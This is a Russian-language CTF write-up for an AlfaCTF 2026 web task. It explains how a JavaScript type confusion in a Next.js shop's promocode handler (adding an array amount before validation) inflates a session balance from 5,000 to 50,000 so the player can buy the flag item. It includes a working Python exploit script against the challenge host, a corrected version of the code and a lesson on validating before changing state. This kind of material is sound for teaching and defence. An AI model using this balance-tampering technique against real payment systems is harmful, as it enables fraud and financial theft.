April 25

Шоколадный дроп

CTF: АльфаЦТФ2026

Автор: @frankegoesdown

Категория: Web

Теги: easy, web, financial, js

Описание задачи

В старом порту открыли первый ChocoCore — бутик премиального функционального шоколада. Сегодня стартовали продажи лимитированного дропа. Станьте первым, кто его попробует.

Нам дают Next.js приложение — интернет-магазин шоколада. Цель: купить лимитированный товар flag (Summit to Talk About) стоимостью 31 337₽.

Разведка

Исходный код предоставлен в архиве. Ключевые файлы:

src/
  app/api/
    session/route.ts     — управление сессией
    cart/route.ts        — корзина
    promocode/route.ts   — применение промокодов
    checkout/route.ts    — оформление заказа
    completed/route.ts   — выдача флага
  lib/
    chocolates.ts        — каталог (8 позиций + item id="flag" за 31337₽)
    promocodes.ts        — список купонов: { TREAT5000: 5000 }
    session.ts           — работа с SQLite
    

Механика

Баланс (шоколёк) хранится на сервере в SQLite, привязан к сессии через session_id cookie.

Промокод — это base64 от JSON вида {"amount": 5000, "coupon": "TREAT5000"}.

Единственный доступный промокод — TREAT5000 на 5 000₽.

Флаг выдаётся через /api/completed, если в последнем заказе есть item с id === "flag".

Проблема: нам нужно 31 337₽, а можно получить только 5 000₽. Надо найти баг.

Анализ уязвимости

Смотрим src/app/api/promocode/route.ts:

// Шаг 1: проверяем наличие поля amount
if (!Object.hasOwn(promo, 'amount')) {
  return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}

// Шаг 2: СРАЗУ прибавляем к балансу — ДО проверки типа!
session.balance += promo.amount;

try {
  // Шаг 3: проверка типа (уже после изменения баланса)
  if (typeof promo.amount !== 'number' || typeof promo.coupon !== 'string') {
    throw new Error('Invalid promocode');
  }
  if (COUPONS[promo.coupon] !== promo.amount) {
    throw new Error('Invalid promocode');
  }
  if (session.used_coupons.includes(promo.coupon)) {
    throw new Error('Promocode already used');
  }
} catch (error) {
  session.balance -= promo.amount; // "откат"
  return NextResponse.json({ error: ... }, { status: 400 });
} finally {
  updateSessionBalance(sessionId, session.balance); // ВСЕГДА сохраняет в БД
}

Логика задумана так: если валидация не прошла — откатить баланс в catch, а finally сохранит откатанное. Но есть нюанс: тип amount не проверяется до того, как он прибавляется к балансу.

Эксплуатация: JavaScript type confusion

В JavaScript оператор + ведёт себя по-разному в зависимости от типов операндов:

5000 + 1    // → 5001  (число + число = число)
5000 + "1"  // → "50001" (число + строка = конкатенация строк!)
5000 + [1]  // → "50001" ([1].toString() = "1", затем строковая конкатенация)

// Оператор - всегда вычитает, приводя оба операнда к числам:
"50001" - [1]  // → 50001 - 1 = 50000

Применим это к уязвимому коду, если отправить amount = [1] (массив):

// Старт: session.balance = 5000 (число)
// Шаг 2: session.balance += [1]  → "50001" (строка!)
// Шаг 3: typeof [1] !== 'number' → true → throw
// catch:  session.balance -= [1]  → 50001 - 1 = 50000 (число!)
// finally: updateSessionBalance(50000) — записывает 50000 в БД

// Итог: откат не сработал — вместо 5000₽ баланс вырос до 50000₽

Корень проблемы: += при смешении типов работает как конкатенация строк, а -= с тем же аргументом — как вычитание чисел. Итог: (B + [X]) − [X] ≠ B при ненулевом B.

Эксплойт

import base64, json, requests

BASE = "https://chococore-cmmrrcme.alfactf.ru"
s = requests.Session()

# 1. Инициализируем сессию
s.get(f"{BASE}/api/session")

# 2. Получаем стартовый баланс через легитимный промокод
treat = base64.b64encode(json.dumps({"amount": 5000, "coupon": "TREAT5000"}).encode()).decode()
s.post(f"{BASE}/api/promocode", json={"code": treat})
# balance = 5000

# 3. Применяем malicious промокод с amount=[1] (массив)
# 5000 += [1] → "50001" (строка)
# catch: "50001" -= [1] → 50000 (число)
# finally: сохраняет 50000 в БД
mal = base64.b64encode(json.dumps({"amount": [1], "coupon": "x"}).encode()).decode()
s.post(f"{BASE}/api/promocode", json={"code": mal})
# balance = 50000, ответ сервера — 400 (но баланс уже записан!)

# 4. Добавляем флаг в корзину
s.post(f"{BASE}/api/cart", json={"chocolateId": "flag", "quantity": 1})

# 5. Оформляем заказ (50000 >= 31337 — проходит)
s.post(f"{BASE}/api/checkout")

# 6. Получаем флаг
r = s.get(f"{BASE}/api/completed")
print(r.json()["message"])

Вывод:

Спасибо за покупку! Ваш заказ #539 на 31337 ₽ оформлен. Ваш шоколад уже в пути!
Для нас большая честь наградить вас... alfa{****************************}

Исправление

Правильный порядок — проверять тип до любых арифметических операций:

// Сначала — полная валидация
if (typeof promo.amount !== 'number' || typeof promo.coupon !== 'string') {
  return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
if (COUPONS[promo.coupon] !== promo.amount) {
  return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
if (session.used_coupons.includes(promo.coupon)) {
  return NextResponse.json({ error: 'Promocode already used' }, { status: 400 });
}

// Только потом — изменение баланса
session.balance += promo.amount;
updateSessionBalance(sessionId, session.balance);
addUsedCoupon(sessionId, promo.coupon);

Вывод

Задача демонстрирует классическую ошибку в финансовой логике: операция над данными происходит раньше их валидации. Паттерн «добавить → проверить → откатить при ошибке» опасен, потому что операция += в JavaScript не является обратимой при смешении типов: + и - интерпретируют один и тот же нечисловой аргумент по-разному. Правило: в финансовом коде никогда не изменяй состояние до завершения всех проверок.